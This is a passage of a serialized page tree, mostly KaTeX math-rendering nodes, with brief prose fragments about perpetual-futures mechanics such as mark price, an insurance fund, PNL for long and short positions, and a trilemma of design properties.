ssName":161261},[2988],[161263],{"type":28,"value":161264},"dollars seized from winner ",{"type":23,"tag":504,"props":161266,"children":161268},{"className":161267},[2988,20569],[161269],{"type":28,"value":2716},{"type":23,"tag":504,"props":161271,"children":161272},{"style":160128},[161273,161277],{"type":23,"tag":504,"props":161274,"children":161276},{"className":161275,"style":159698},[3029],[],{"type":23,"tag":504,"props":161278,"children":161280},{"className":161279},[2988],[161281,161285,161289,161294,161298],{"type":23,"tag":504,"props":161282,"children":161284},{"className":161283},[2988],[],{"type":23,"tag":504,"props":161286,"children":161288},{"className":161287,"style":3167},[3069],[],{"type":23,"tag":504,"props":161290,"children":161292},{"className":161291},[3172],[161293],{"type":28,"value":601},{"type":23,"tag":504,"props":161295,"children":161297},{"className":161296,"style":3167},[3069],[],{"type":23,"tag":504,"props":161299,"children":161301},{"className":161300},[2988],[161302,161306,161487],{"type":23,"tag":504,"props":161303,"children":161305},{"className":161304},[20698,112316],[],{"type":23,"tag":504,"props":161307,"children":161309},{"className":161308},[112321],[161310],{"type":23,"tag":504,"props":161311,"children":161313},{"className":161312},[3010,20623],[161314,161475],{"type":23,"tag":504,"props":161315,"children":161317},{"className":161316},[3015],[161318,161470],{"type":23,"tag":504,"props":161319,"children":161322},{"className":161320,"style":161321},[3020],"height:1.1076em;",[161323,161391,161402],{"type":23,"tag":504,"props":161324,"children":161325},{"style":157907},[161326,161330],{"type":23,"tag":504,"props":161327,"children":161329},{"className":161328,"style":110969},[3029],[],{"type":23,"tag":504,"props":161331,"children":161333},{"className":161332},[2988],[161334],{"type":23,"tag":504,"props":161335,"children":161337},{"className":161336},[2988],[161338,161343],{"type":23,"tag":504,"props":161339,"children":161341},{"className":161340,"style":121078},[2988,20569],[161342],{"type":28,"value":48551},{"type":23,"tag":504,"props":161344,"children":161346},{"className":161345},[3005],[161347],{"type":23,"tag":504,"props":161348,"children":161350},{"className":161349},[3010,20623],[161351,161380],{"type":23,"tag":504,"props":161352,"children":161354},{"className":161353},[3015],[161355,161375],{"type":23,"tag":504,"props":161356,"children":161358},{"className":161357,"style":92327},[3020],[161359],{"type":23,"tag":504,"props":161360,"children":161361},{"style":160026},[161362,161366],{"type":23,"tag":504,"props":161363,"children":161365},{"className":161364,"style":3030},[3029],[],{"type":23,"tag":504,"props":161367,"children":161369},{"className":161368},[3035,3036,3037,3038],[161370],{"type":23,"tag":504,"props":161371,"children":161373},{"className":161372},[2988,20569,3038],[161374],{"type":28,"value":2716},{"type":23,"tag":504,"props":161376,"children":161378},{"className":161377},[20726],[161379],{"type":28,"value":20729},{"type":23,"tag":504,"props":161381,"children":161383},{"className":161382},[3015],[161384],{"type":23,"tag":504,"props":161385,"children":161387},{"className":161386,"style":91881},[3020],[161388],{"type":23,"tag":504,"props":161389,"children":161390},{},[],{"type":23,"tag":504,"props":161392,"children":161393},{"style":112371},[161394,161398],{"type":23,"tag":504,"props":161395,"children":161397},{"className":161396,"style":110969},[3029],[],{"type":23,"tag":504,"props":161399,"children":161401},{"className":161400,"style":112381},[112380],[],{"type":23,"tag":504,"props":161403,"children":161404},{"style":157958},[161405,161409],{"type":23,"tag":504,"props":161406,"children":161408},{"className":161407,"style":110969},[3029],[],{"type":23,"tag":504,"props":161410,"children":161412},{"className":161411},[2988],[161413],{"type":23,"tag":504,"props":161414,"children":161416},{"className":161415},[2988],[161417,161422],{"type":23,"tag":504,"props":161418,"children":161420},{"className":161419},[2988,20569],[161421],{"type":28,"value":18257},{"type":23,"tag":504,"props":161423,"children":161425},{"className":161424},[3005],[161426],{"type":23,"tag":504,"props":161427,"children":161429},{"className":161428},[3010,20623],[161430,161459],{"type":23,"tag":504,"props":161431,"children":161433},{"className":161432},[3015],[161434,161454],{"type":23,"tag":504,"props":161435,"children":161437},{"className":161436,"style":92327},[3020],[161438],{"type":23,"tag":504,"props":161439,"children":161440},{"style":91854},[161441,161445],{"type":23,"tag":504,"props":161442,"children":161444},{"className":161443,"style":3030},[3029],[],{"type":23,"tag":504,"props":161446,"children":161448},{"className":161447},[3035,3036,3037,3038],[161449],{"type":23,"tag":504,"props":161450,"children":161452},{"className":161451},[2988,20569,3038],[161453],{"type":28,"value":2716},{"type":23,"tag":504,"props":161455,"children":161457},{"className":161456},[20726],[161458],{"type":28,"value":20729},{"type":23,"tag":504,"props":161460,"children":161462},{"className":161461},[3015],[161463],{"type":23,"tag":504,"props":161464,"children":161466},{"className":161465,"style":91881},[3020],[161467],{"type":23,"tag":504,"props":161468,"children":161469},{},[],{"type":23,"tag":504,"props":161471,"children":161473},{"className":161472},[20726],[161474],{"type":28,"value":20729},{"type":23,"tag":504,"props":161476,"children":161478},{"className":161477},[3015],[161479],{"type":23,"tag":504,"props":161480,"children":161483},{"className":161481,"style":161482},[3020],"height:0.836em;",[161484],{"type":23,"tag":504,"props":161485,"children":161486},{},[],{"type":23,"tag":504,"props":161488,"children":161490},{"className":161489},[20720,112316],[],{"type":23,"tag":504,"props":161492,"children":161493},{"style":160197},[161494,161498],{"type":23,"tag":504,"props":161495,"children":161497},{"className":161496,"style":159698},[3029],[],{"type":23,"tag":504,"props":161499,"children":161501},{"className":161500},[2988],[161502,161506,161510,161515,161519,161589,161593],{"type":23,"tag":504,"props":161503,"children":161505},{"className":161504},[2988],[],{"type":23,"tag":504,"props":161507,"children":161509},{"className":161508,"style":3167},[3069],[],{"type":23,"tag":504,"props":161511,"children":161513},{"className":161512},[3172],[161514],{"type":28,"value":601},{"type":23,"tag":504,"props":161516,"children":161518},{"className":161517,"style":3167},[3069],[],{"type":23,"tag":504,"props":161520,"children":161523},{"className":161521},[20605,161522],"op-limits",[161524],{"type":23,"tag":504,"props":161525,"children":161527},{"className":161526},[3010,20623],[161528,161577],{"type":23,"tag":504,"props":161529,"children":161531},{"className":161530},[3015],[161532,161572],{"type":23,"tag":504,"props":161533,"children":161536},{"className":161534,"style":161535},[3020],"height:1.05em;",[161537,161555],{"type":23,"tag":504,"props":161538,"children":161540},{"style":161539},"top:-1.8723em;margin-left:0em;",[161541,161546],{"type":23,"tag":504,"props":161542,"children":161545},{"className":161543,"style":161544},[3029],"height:3.05em;",[],{"type":23,"tag":504,"props":161547,"children":161549},{"className":161548},[3035,3036,3037,3038],[161550],{"type":23,"tag":504,"props":161551,"children":161553},{"className":161552},[2988,20569,3038],[161554],{"type":28,"value":2716},{"type":23,"tag":504,"props":161556,"children":161558},{"style":161557},"top:-3.05em;",[161559,161563],{"type":23,"tag":504,"props":161560,"children":161562},{"className":161561,"style":161544},[3029],[],{"type":23,"tag":504,"props":161564,"children":161565},{},[161566],{"type":23,"tag":504,"props":161567,"children":161570},{"className":161568},[20605,20610,161569],"large-op",[161571],{"type":28,"value":107593},{"type":23,"tag":504,"props":161573,"children":161575},{"className":161574},[20726],[161576],{"type":28,"value":20729},{"type":23,"tag":504,"props":161578,"children":161580},{"className":161579},[3015],[161581],{"type":23,"tag":504,"props":161582,"children":161585},{"className":161583,"style":161584},[3020],"height:1.2777em;",[161586],{"type":23,"tag":504,"props":161587,"children":161588},{},[],{"type":23,"tag":504,"props":161590,"children":161592},{"className":161591,"style":3108},[3069],[],{"type":23,"tag":504,"props":161594,"children":161596},{"className":161595},[2988],[161597,161602],{"type":23,"tag":504,"props":161598,"children":161600},{"className":161599},[2988,20569],[161601],{"type":28,"value":18257},{"type":23,"tag":504,"props":161603,"children":161605},{"className":161604},[3005],[161606],{"type":23,"tag":504,"props":161607,"children":161609},{"className":161608},[3010,20623],[161610,161639],{"type":23,"tag":504,"props":161611,"children":161613},{"className":161612},[3015],[161614,161634],{"type":23,"tag":504,"props":161615,"children":161617},{"className":161616,"style":92327},[3020],[161618],{"type":23,"tag":504,"props":161619,"children":161620},{"style":91854},[161621,161625],{"type":23,"tag":504,"props":161622,"children":161624},{"className":161623,"style":3030},[3029],[],{"type":23,"tag":504,"props":161626,"children":161628},{"className":161627},[3035,3036,3037,3038],[161629],{"type":23,"tag":504,"props":161630,"children":161632},{"className":161631},[2988,20569,3038],[161633],{"type":28,"value":2716},{"type":23,"tag":504,"props":161635,"children":161637},{"className":161636},[20726],[161638],{"type":28,"value":20729},{"type":23,"tag":504,"props":161640,"children":161642},{"className":161641},[3015],[161643],{"type":23,"tag":504,"props":161644,"children":161646},{"className":161645,"style":91881},[3020],[161647],{"type":23,"tag":504,"props":161648,"children":161649},{},[],{"type":23,"tag":504,"props":161651,"children":161652},{"style":160266},[161653,161657],{"type":23,"tag":504,"props":161654,"children":161656},{"className":161655,"style":159698},[3029],[],{"type":23,"tag":504,"props":161658,"children":161660},{"className":161659},[2988],[161661,161665,161669,161674,161678,161741,161745,161750,161755,161760,161817,161822,161826,161830,161835],{"type":23,"tag":504,"props":161662,"children":161664},{"className":161663},[2988],[],{"type":23,"tag":504,"props":161666,"children":161668},{"className":161667,"style":3167},[3069],[],{"type":23,"tag":504,"props":161670,"children":161672},{"className":161671},[3172],[161673],{"type":28,"value":601},{"type":23,"tag":504,"props":161675,"children":161677},{"className":161676,"style":3167},[3069],[],{"type":23,"tag":504,"props":161679,"children":161681},{"className":161680},[20605,161522],[161682],{"type":23,"tag":504,"props":161683,"children":161685},{"className":161684},[3010,20623],[161686,161730],{"type":23,"tag":504,"props":161687,"children":161689},{"className":161688},[3015],[161690,161725],{"type":23,"tag":504,"props":161691,"children":161693},{"className":161692,"style":161535},[3020],[161694,161710],{"type":23,"tag":504,"props":161695,"children":161696},{"style":161539},[161697,161701],{"type":23,"tag":504,"props":161698,"children":161700},{"className":161699,"style":161544},[3029],[],{"type":23,"tag":504,"props":161702,"children":161704},{"className":161703},[3035,3036,3037,3038],[161705],{"type":23,"tag":504,"props":161706,"children":161708},{"className":161707},[2988,20569,3038],[161709],{"type":28,"value":2716},{"type":23,"tag":504,"props":161711,"children":161712},{"style":161557},[161713,161717],{"type":23,"tag":504,"props":161714,"children":161716},{"className":161715,"style":161544},[3029],[],{"type":23,"tag":504,"props":161718,"children":161719},{},[161720],{"type":23,"tag":504,"props":161721,"children":161723},{"className":161722},[20605,20610,161569],[161724],{"type":28,"value":107593},{"type":23,"tag":504,"props":161726,"children":161728},{"className":161727},[20726],[161729],{"type":28,"value":20729},{"type":23,"tag":504,"props":161731,"children":161733},{"className":161732},[3015],[161734],{"type":23,"tag":504,"props":161735,"children":161737},{"className":161736,"style":161584},[3020],[161738],{"type":23,"tag":504,"props":161739,"children":161740},{},[],{"type":23,"tag":504,"props":161742,"children":161744},{"className":161743,"style":3108},[3069],[],{"type":23,"tag":504,"props":161746,"children":161748},{"className":161747},[20605],[161749],{"type":28,"value":159412},{"type":23,"tag":504,"props":161751,"children":161753},{"className":161752},[20698],[161754],{"type":28,"value":526},{"type":23,"tag":504,"props":161756,"children":161758},{"className":161757},[2988],[161759],{"type":28,"value":3049},{"type":23,"tag":504,"props":161761,"children":161763},{"className":161762},[2988],[161764,161769],{"type":23,"tag":504,"props":161765,"children":161767},{"className":161766},[2988,20569],[161768],{"type":28,"value":1231},{"type":23,"tag":504,"props":161770,"children":161772},{"className":161771},[3005],[161773],{"type":23,"tag":504,"props":161774,"children":161776},{"className":161775},[3010,20623],[161777,161806],{"type":23,"tag":504,"props":161778,"children":161780},{"className":161779},[3015],[161781,161801],{"type":23,"tag":504,"props":161782,"children":161784},{"className":161783,"style":92327},[3020],[161785],{"type":23,"tag":504,"props":161786,"children":161787},{"style":91854},[161788,161792],{"type":23,"tag":504,"props":161789,"children":161791},{"className":161790,"style":3030},[3029],[],{"type":23,"tag":504,"props":161793,"children":161795},{"className":161794},[3035,3036,3037,3038],[161796],{"type":23,"tag":504,"props":161797,"children":161799},{"className":161798},[2988,20569,3038],[161800],{"type":28,"value":2716},{"type":23,"tag":504,"props":161802,"children":161804},{"className":161803},[20726],[161805],{"type":28,"value":20729},{"type":23,"tag":504,"props":161807,"children":161809},{"className":161808},[3015],[161810],{"type":23,"tag":504,"props":161811,"children":161813},{"className":161812,"style":91881},[3020],[161814],{"type":23,"tag":504,"props":161815,"children":161816},{},[],{"type":23,"tag":504,"props":161818,"children":161820},{"className":161819},[3101],[161821],{"type":28,"value":3104},{"type":23,"tag":504,"props":161823,"children":161825},{"className":161824,"style":3108},[3069],[],{"type":23,"tag":504,"props":161827,"children":161829},{"className":161828,"style":3108},[3069],[],{"type":23,"tag":504,"props":161831,"children":161833},{"className":161832},[2988],[161834],{"type":28,"value":3001},{"type":23,"tag":504,"props":161836,"children":161838},{"className":161837},[20720],[161839],{"type":28,"value":2105},{"type":23,"tag":504,"props":161841,"children":161842},{"style":160336},[161843,161847],{"type":23,"tag":504,"props":161844,"children":161846},{"className":161845,"style":159698},[3029],[],{"type":23,"tag":504,"props":161848,"children":161850},{"className":161849},[2988],[161851,161855,161859,161864,161868,161931,161935],{"type":23,"tag":504,"props":161852,"children":161854},{"className":161853},[2988],[],{"type":23,"tag":504,"props":161856,"children":161858},{"className":161857,"style":3167},[3069],[],{"type":23,"tag":504,"props":161860,"children":161862},{"className":161861},[3172],[161863],{"type":28,"value":601},{"type":23,"tag":504,"props":161865,"children":161867},{"className":161866,"style":3167},[3069],[],{"type":23,"tag":504,"props":161869,"children":161871},{"className":161870},[20605,161522],[161872],{"type":23,"tag":504,"props":161873,"children":161875},{"className":161874},[3010,20623],[161876,161920],{"type":23,"tag":504,"props":161877,"children":161879},{"className":161878},[3015],[161880,161915],{"type":23,"tag":504,"props":161881,"children":161883},{"className":161882,"style":161535},[3020],[161884,161900],{"type":23,"tag":504,"props":161885,"children":161886},{"style":161539},[161887,161891],{"type":23,"tag":504,"props":161888,"children":161890},{"className":161889,"style":161544},[3029],[],{"type":23,"tag":504,"props":161892,"children":161894},{"className":161893},[3035,3036,3037,3038],[161895],{"type":23,"tag":504,"props":161896,"children":161898},{"className":161897},[2988,20569,3038],[161899],{"type":28,"value":2716},{"type":23,"tag":504,"props":161901,"children":161902},{"style":161557},[161903,161907],{"type":23,"tag":504,"props":161904,"children":161906},{"className":161905,"style":161544},[3029],[],{"type":23,"tag":504,"props":161908,"children":161909},{},[161910],{"type":23,"tag":504,"props":161911,"children":161913},{"className":161912},[20605,20610,161569],[161914],{"type":28,"value":107593},{"type":23,"tag":504,"props":161916,"children":161918},{"className":161917},[20726],[161919],{"type":28,"value":20729},{"type":23,"tag":504,"props":161921,"children":161923},{"className":161922},[3015],[161924],{"type":23,"tag":504,"props":161925,"children":161927},{"className":161926,"style":161584},[3020],[161928],{"type":23,"tag":504,"props":161929,"children":161930},{},[],{"type":23,"tag":504,"props":161932,"children":161934},{"className":161933,"style":3108},[3069],[],{"type":23,"tag":504,"props":161936,"children":161938},{"className":161937},[2988],[161939,161944],{"type":23,"tag":504,"props":161940,"children":161942},{"className":161941,"style":121078},[2988,20569],[161943],{"type":28,"value":48551},{"type":23,"tag":504,"props":161945,"children":161947},{"className":161946},[3005],[161948],{"type":23,"tag":504,"props":161949,"children":161951},{"className":161950},[3010,20623],[161952,161981],{"type":23,"tag":504,"props":161953,"children":161955},{"className":161954},[3015],[161956,161976],{"type":23,"tag":504,"props":161957,"children":161959},{"className":161958,"style":92327},[3020],[161960],{"type":23,"tag":504,"props":161961,"children":161962},{"style":160026},[161963,161967],{"type":23,"tag":504,"props":161964,"children":161966},{"className":161965,"style":3030},[3029],[],{"type":23,"tag":504,"props":161968,"children":161970},{"className":161969},[3035,3036,3037,3038],[161971],{"type":23,"tag":504,"props":161972,"children":161974},{"className":161973},[2988,20569,3038],[161975],{"type":28,"value":2716},{"type":23,"tag":504,"props":161977,"children":161979},{"className":161978},[20726],[161980],{"type":28,"value":20729},{"type":23,"tag":504,"props":161982,"children":161984},{"className":161983},[3015],[161985],{"type":23,"tag":504,"props":161986,"children":161988},{"className":161987,"style":91881},[3020],[161989],{"type":23,"tag":504,"props":161990,"children":161991},{},[],{"type":23,"tag":504,"props":161993,"children":161994},{"style":160407},[161995,161999],{"type":23,"tag":504,"props":161996,"children":161998},{"className":161997,"style":159698},[3029],[],{"type":23,"tag":504,"props":162000,"children":162002},{"className":162001},[2988],[162003,162007,162011,162016,162020,162025,162030,162087,162091,162096,162100,162105,162109,162114,162118,162175,162180,162184,162188,162193],{"type":23,"tag":504,"props":162004,"children":162006},{"className":162005},[2988],[],{"type":23,"tag":504,"props":162008,"children":162010},{"className":162009,"style":3167},[3069],[],{"type":23,"tag":504,"props":162012,"children":162014},{"className":162013},[3172],[162015],{"type":28,"value":601},{"type":23,"tag":504,"props":162017,"children":162019},{"className":162018,"style":3167},[3069],[],{"type":23,"tag":504,"props":162021,"children":162023},{"className":162022},[20605],[162024],{"type":28,"value":159412},{"type":23,"tag":504,"props":162026,"children":162028},{"className":162027},[20698],[162029],{"type":28,"value":526},{"type":23,"tag":504,"props":162031,"children":162033},{"className":162032},[2988],[162034,162039],{"type":23,"tag":504,"props":162035,"children":162037},{"className":162036,"style":91798},[2988,20569],[162038],{"type":28,"value":160285},{"type":23,"tag":504,"props":162040,"children":162042},{"className":162041},[3005],[162043],{"type":23,"tag":504,"props":162044,"children":162046},{"className":162045},[3010,20623],[162047,162076],{"type":23,"tag":504,"props":162048,"children":162050},{"className":162049},[3015],[162051,162071],{"type":23,"tag":504,"props":162052,"children":162054},{"className":162053,"style":141353},[3020],[162055],{"type":23,"tag":504,"props":162056,"children":162057},{"style":108797},[162058,162062],{"type":23,"tag":504,"props":162059,"children":162061},{"className":162060,"style":3030},[3029],[],{"type":23,"tag":504,"props":162063,"children":162065},{"className":162064},[3035,3036,3037,3038],[162066],{"type":23,"tag":504,"props":162067,"children":162069},{"className":162068,"style":20570},[2988,20569,3038],[162070],{"type":28,"value":4971},{"type":23,"tag":504,"props":162072,"children":162074},{"className":162073},[20726],[162075],{"type":28,"value":20729},{"type":23,"tag":504,"props":162077,"children":162079},{"className":162078},[3015],[162080],{"type":23,"tag":504,"props":162081,"children":162083},{"className":162082,"style":91881},[3020],[162084],{"type":23,"tag":504,"props":162085,"children":162086},{},[],{"type":23,"tag":504,"props":162088,"children":162090},{"className":162089,"style":3070},[3069],[],{"type":23,"tag":504,"props":162092,"children":162094},{"className":162093},[3075],[162095],{"type":28,"value":3049},{"type":23,"tag":504,"props":162097,"children":162099},{"className":162098,"style":3070},[3069],[],{"type":23,"tag":504,"props":162101,"children":162103},{"className":162102,"style":93818},[2988,20569],[162104],{"type":28,"value":93852},{"type":23,"tag":504,"props":162106,"children":162108},{"className":162107,"style":3070},[3069],[],{"type":23,"tag":504,"props":162110,"children":162112},{"className":162111},[3075],[162113],{"type":28,"value":3049},{"type":23,"tag":504,"props":162115,"children":162117},{"className":162116,"style":3070},[3069],[],{"type":23,"tag":504,"props":162119,"children":162121},{"className":162120},[2988],[162122,162127],{"type":23,"tag":504,"props":162123,"children":162125},{"className":162124,"style":92032},[2988,20569],[162126],{"type":28,"value":92035},{"type":23,"tag":504,"props":162128,"children":162130},{"className":162129},[3005],[162131],{"type":23,"tag":504,"props":162132,"children":162134},{"className":162133},[3010,20623],[162135,162164],{"type":23,"tag":504,"props":162136,"children":162138},{"className":162137},[3015],[162139,162159],{"type":23,"tag":504,"props":162140,"children":162142},{"className":162141,"style":141353},[3020],[162143],{"type":23,"tag":504,"props":162144,"children":162145},{"style":109227},[162146,162150],{"type":23,"tag":504,"props":162147,"children":162149},{"className":162148,"style":3030},[3029],[],{"type":23,"tag":504,"props":162151,"children":162153},{"className":162152},[3035,3036,3037,3038],[162154],{"type":23,"tag":504,"props":162155,"children":162157},{"className":162156,"style":20570},[2988,20569,3038],[162158],{"type":28,"value":4971},{"type":23,"tag":504,"props":162160,"children":162162},{"className":162161},[20726],[162163],{"type":28,"value":20729},{"type":23,"tag":504,"props":162165,"children":162167},{"className":162166},[3015],[162168],{"type":23,"tag":504,"props":162169,"children":162171},{"className":162170,"style":91881},[3020],[162172],{"type":23,"tag":504,"props":162173,"children":162174},{},[],{"type":23,"tag":504,"props":162176,"children":162178},{"className":162177},[3101],[162179],{"type":28,"value":3104},{"type":23,"tag":504,"props":162181,"children":162183},{"className":162182,"style":3108},[3069],[],{"type":23,"tag":504,"props":162185,"children":162187},{"className":162186,"style":3108},[3069],[],{"type":23,"tag":504,"props":162189,"children":162191},{"className":162190},[2988],[162192],{"type":28,"value":3001},{"type":23,"tag":504,"props":162194,"children":162196},{"className":162195},[20720],[162197],{"type":28,"value":2105},{"type":23,"tag":504,"props":162199,"children":162201},{"className":162200},[20726],[162202],{"type":28,"value":20729},{"type":23,"tag":504,"props":162204,"children":162206},{"className":162205},[3015],[162207],{"type":23,"tag":504,"props":162208,"children":162210},{"className":162209,"style":160488},[3020],[162211],{"type":23,"tag":504,"props":162212,"children":162213},{},[],{"type":23,"tag":24,"props":162215,"children":162216},{},[162217,162218,162295,162297,162322,162324,162401,162403,162480],{"type":28,"value":526},{"type":23,"tag":56,"props":162219,"children":162221},{"className":162220},[2960,2961],[162222],{"type":23,"tag":504,"props":162223,"children":162225},{"className":162224},[2966],[162226],{"type":23,"tag":504,"props":162227,"children":162229},{"className":162228,"ariaHidden":2972},[2971],[162230],{"type":23,"tag":504,"props":162231,"children":162233},{"className":162232},[2977],[162234,162238],{"type":23,"tag":504,"props":162235,"children":162237},{"className":162236,"style":109795},[2982],[],{"type":23,"tag":504,"props":162239,"children":162241},{"className":162240},[2988],[162242,162247],{"type":23,"tag":504,"props":162243,"children":162245},{"className":162244,"style":20570},[2988,20569],[162246],{"type":28,"value":20573},{"type":23,"tag":504,"props":162248,"children":162250},{"className":162249},[3005],[162251],{"type":23,"tag":504,"props":162252,"children":162254},{"className":162253},[3010,20623],[162255,162284],{"type":23,"tag":504,"props":162256,"children":162258},{"className":162257},[3015],[162259,162279],{"type":23,"tag":504,"props":162260,"children":162262},{"className":162261,"style":108230},[3020],[162263],{"type":23,"tag":504,"props":162264,"children":162265},{"style":159731},[162266,162270],{"type":23,"tag":504,"props":162267,"children":162269},{"className":162268,"style":3030},[3029],[],{"type":23,"tag":504,"props":162271,"children":162273},{"className":162272},[3035,3036,3037,3038],[162274],{"type":23,"tag":504,"props":162275,"children":162277},{"className":162276},[2988,20569,3038],[162278],{"type":28,"value":55382},{"type":23,"tag":504,"props":162280,"children":162282},{"className":162281},[20726],[162283],{"type":28,"value":20729},{"type":23,"tag":504,"props":162285,"children":162287},{"className":162286},[3015],[162288],{"type":23,"tag":504,"props":162289,"children":162291},{"className":162290,"style":91881},[3020],[162292],{"type":23,"tag":504,"props":162293,"children":162294},{},[],{"type":28,"value":162296},": mark price from different sources; ",{"type":23,"tag":56,"props":162298,"children":162300},{"className":162299},[2960,2961],[162301],{"type":23,"tag":504,"props":162302,"children":162304},{"className":162303},[2966],[162305],{"type":23,"tag":504,"props":162306,"children":162308},{"className":162307,"ariaHidden":2972},[2971],[162309],{"type":23,"tag":504,"props":162310,"children":162312},{"className":162311},[2977],[162313,162317],{"type":23,"tag":504,"props":162314,"children":162316},{"className":162315,"style":20564},[2982],[],{"type":23,"tag":504,"props":162318,"children":162320},{"className":162319,"style":93818},[2988,20569],[162321],{"type":28,"value":93852},{"type":28,"value":162323},": insurance fund, roughly the 5M on testnet HL; ",{"type":23,"tag":56,"props":162325,"children":162327},{"className":162326},[2960,2961],[162328],{"type":23,"tag":504,"props":162329,"children":162331},{"className":162330},[2966],[162332],{"type":23,"tag":504,"props":162333,"children":162335},{"className":162334,"ariaHidden":2972},[2971],[162336],{"type":23,"tag":504,"props":162337,"children":162339},{"className":162338},[2977],[162340,162344],{"type":23,"tag":504,"props":162341,"children":162343},{"className":162342,"style":108768},[2982],[],{"type":23,"tag":504,"props":162345,"children":162347},{"className":162346},[2988],[162348,162353],{"type":23,"tag":504,"props":162349,"children":162351},{"className":162350,"style":92284},[2988,20569],[162352],{"type":28,"value":159869},{"type":23,"tag":504,"props":162354,"children":162356},{"className":162355},[3005],[162357],{"type":23,"tag":504,"props":162358,"children":162360},{"className":162359},[3010,20623],[162361,162390],{"type":23,"tag":504,"props":162362,"children":162364},{"className":162363},[3015],[162365,162385],{"type":23,"tag":504,"props":162366,"children":162368},{"className":162367,"style":92327},[3020],[162369],{"type":23,"tag":504,"props":162370,"children":162371},{"style":92331},[162372,162376],{"type":23,"tag":504,"props":162373,"children":162375},{"className":162374,"style":3030},[3029],[],{"type":23,"tag":504,"props":162377,"children":162379},{"className":162378},[3035,3036,3037,3038],[162380],{"type":23,"tag":504,"props":162381,"children":162383},{"className":162382},[2988,20569,3038],[162384],{"type":28,"value":2716},{"type":23,"tag":504,"props":162386,"children":162388},{"className":162387},[20726],[162389],{"type":28,"value":20729},{"type":23,"tag":504,"props":162391,"children":162393},{"className":162392},[3015],[162394],{"type":23,"tag":504,"props":162395,"children":162397},{"className":162396,"style":91881},[3020],[162398],{"type":23,"tag":504,"props":162399,"children":162400},{},[],{"type":28,"value":162402}," is PNL for longs, negated for shorts; ",{"type":23,"tag":56,"props":162404,"children":162406},{"className":162405},[2960,2961],[162407],{"type":23,"tag":504,"props":162408,"children":162410},{"className":162409},[2966],[162411],{"type":23,"tag":504,"props":162412,"children":162414},{"className":162413,"ariaHidden":2972},[2971],[162415],{"type":23,"tag":504,"props":162416,"children":162418},{"className":162417},[2977],[162419,162423],{"type":23,"tag":504,"props":162420,"children":162422},{"className":162421,"style":108768},[2982],[],{"type":23,"tag":504,"props":162424,"children":162426},{"className":162425},[2988],[162427,162432],{"type":23,"tag":504,"props":162428,"children":162430},{"className":162429,"style":121078},[2988,20569],[162431],{"type":28,"value":48551},{"type":23,"tag":504,"props":162433,"children":162435},{"className":162434},[3005],[162436],{"type":23,"tag":504,"props":162437,"children":162439},{"className":162438},[3010,20623],[162440,162469],{"type":23,"tag":504,"props":162441,"children":162443},{"className":162442},[3015],[162444,162464],{"type":23,"tag":504,"props":162445,"children":162447},{"className":162446,"style":92327},[3020],[162448],{"type":23,"tag":504,"props":162449,"children":162450},{"style":160026},[162451,162455],{"type":23,"tag":504,"props":162452,"children":162454},{"className":162453,"style":3030},[3029],[],{"type":23,"tag":504,"props":162456,"children":162458},{"className":162457},[3035,3036,3037,3038],[162459],{"type":23,"tag":504,"props":162460,"children":162462},{"className":162461},[2988,20569,3038],[162463],{"type":28,"value":2716},{"type":23,"tag":504,"props":162465,"children":162467},{"className":162466},[20726],[162468],{"type":28,"value":20729},{"type":23,"tag":504,"props":162470,"children":162472},{"className":162471},[3015],[162473],{"type":23,"tag":504,"props":162474,"children":162476},{"className":162475,"style":91881},[3020],[162477],{"type":23,"tag":504,"props":162478,"children":162479},{},[],{"type":28,"value":162481}," is the positive part of PNL.)",{"type":23,"tag":24,"props":162483,"children":162484},{},[162485],{"type":28,"value":162486},"And let's make the trilemma definitions concrete:",{"type":23,"tag":350,"props":162488,"children":162489},{},[162490,162964,163528],{"type":23,"tag":45,"props":162491,"children":162492},{},[162493,162497,162498,162752,162754,162805,162807,162910,162911,162962],{"type":23,"tag":1887,"props":162494,"children":162495},{},[162496],{"type":28,"value":159610},{"type":28,"value":31888},{"type":23,"tag":56,"props":162499,"children":162501},{"className":162500},[2960,2961],[162502],{"type":23,"tag":504,"props":162503,"children":162505},{"className":162504},[2966],[162506],{"type":23,"tag":504,"props":162507,"children":162509},{"className":162508,"ariaHidden":2972},[2971],[162510,162537],{"type":23,"tag":504,"props":162511,"children":162513},{"className":162512},[2977],[162514,162519,162524,162528,162533],{"type":23,"tag":504,"props":162515,"children":162518},{"className":162516,"style":162517},[2982],"height:0.7278em;vertical-align:-0.0833em;",[],{"type":23,"tag":504,"props":162520,"children":162522},{"className":162521},[2988],[162523],{"type":28,"value":2991},{"type":23,"tag":504,"props":162525,"children":162527},{"className":162526,"style":3070},[3069],[],{"type":23,"tag":504,"props":162529,"children":162531},{"className":162530},[3075],[162532],{"type":28,"value":3049},{"type":23,"tag":504,"props":162534,"children":162536},{"className":162535,"style":3070},[3069],[],{"type":23,"tag":504,"props":162538,"children":162540},{"className":162539},[2977],[162541,162546],{"type":23,"tag":504,"props":162542,"children":162545},{"className":162543,"style":162544},[2982],"height:1.3337em;vertical-align:-0.4453em;",[],{"type":23,"tag":504,"props":162547,"children":162549},{"className":162548},[2988],[162550,162554,162748],{"type":23,"tag":504,"props":162551,"children":162553},{"className":162552},[20698,112316],[],{"type":23,"tag":504,"props":162555,"children":162557},{"className":162556},[112321],[162558],{"type":23,"tag":504,"props":162559,"children":162561},{"className":162560},[3010,20623],[162562,162736],{"type":23,"tag":504,"props":162563,"children":162565},{"className":162564},[3015],[162566,162731],{"type":23,"tag":504,"props":162567,"children":162570},{"className":162568,"style":162569},[3020],"height:0.8884em;",[162571,162645,162656],{"type":23,"tag":504,"props":162572,"children":162573},{"style":112338},[162574,162578],{"type":23,"tag":504,"props":162575,"children":162577},{"className":162576,"style":110969},[3029],[],{"type":23,"tag":504,"props":162579,"children":162581},{"className":162580},[3035,3036,3037,3038],[162582],{"type":23,"tag":504,"props":162583,"children":162585},{"className":162584},[2988,3038],[162586],{"type":23,"tag":504,"props":162587,"children":162589},{"className":162588},[2988,3038],[162590,162595],{"type":23,"tag":504,"props":162591,"children":162593},{"className":162592,"style":91798},[2988,20569,3038],[162594],{"type":28,"value":160285},{"type":23,"tag":504,"props":162596,"children":162598},{"className":162597},[3005],[162599],{"type":23,"tag":504,"props":162600,"children":162602},{"className":162601},[3010,20623],[162603,162633],{"type":23,"tag":504,"props":162604,"children":162606},{"className":162605},[3015],[162607,162628],{"type":23,"tag":504,"props":162608,"children":162610},{"className":162609,"style":111130},[3020],[162611],{"type":23,"tag":504,"props":162612,"children":162614},{"style":162613},"top:-2.3567em;margin-left:-0.0278em;margin-right:0.0714em;",[162615,162619],{"type":23,"tag":504,"props":162616,"children":162618},{"className":162617,"style":107658},[3029],[],{"type":23,"tag":504,"props":162620,"children":162622},{"className":162621},[30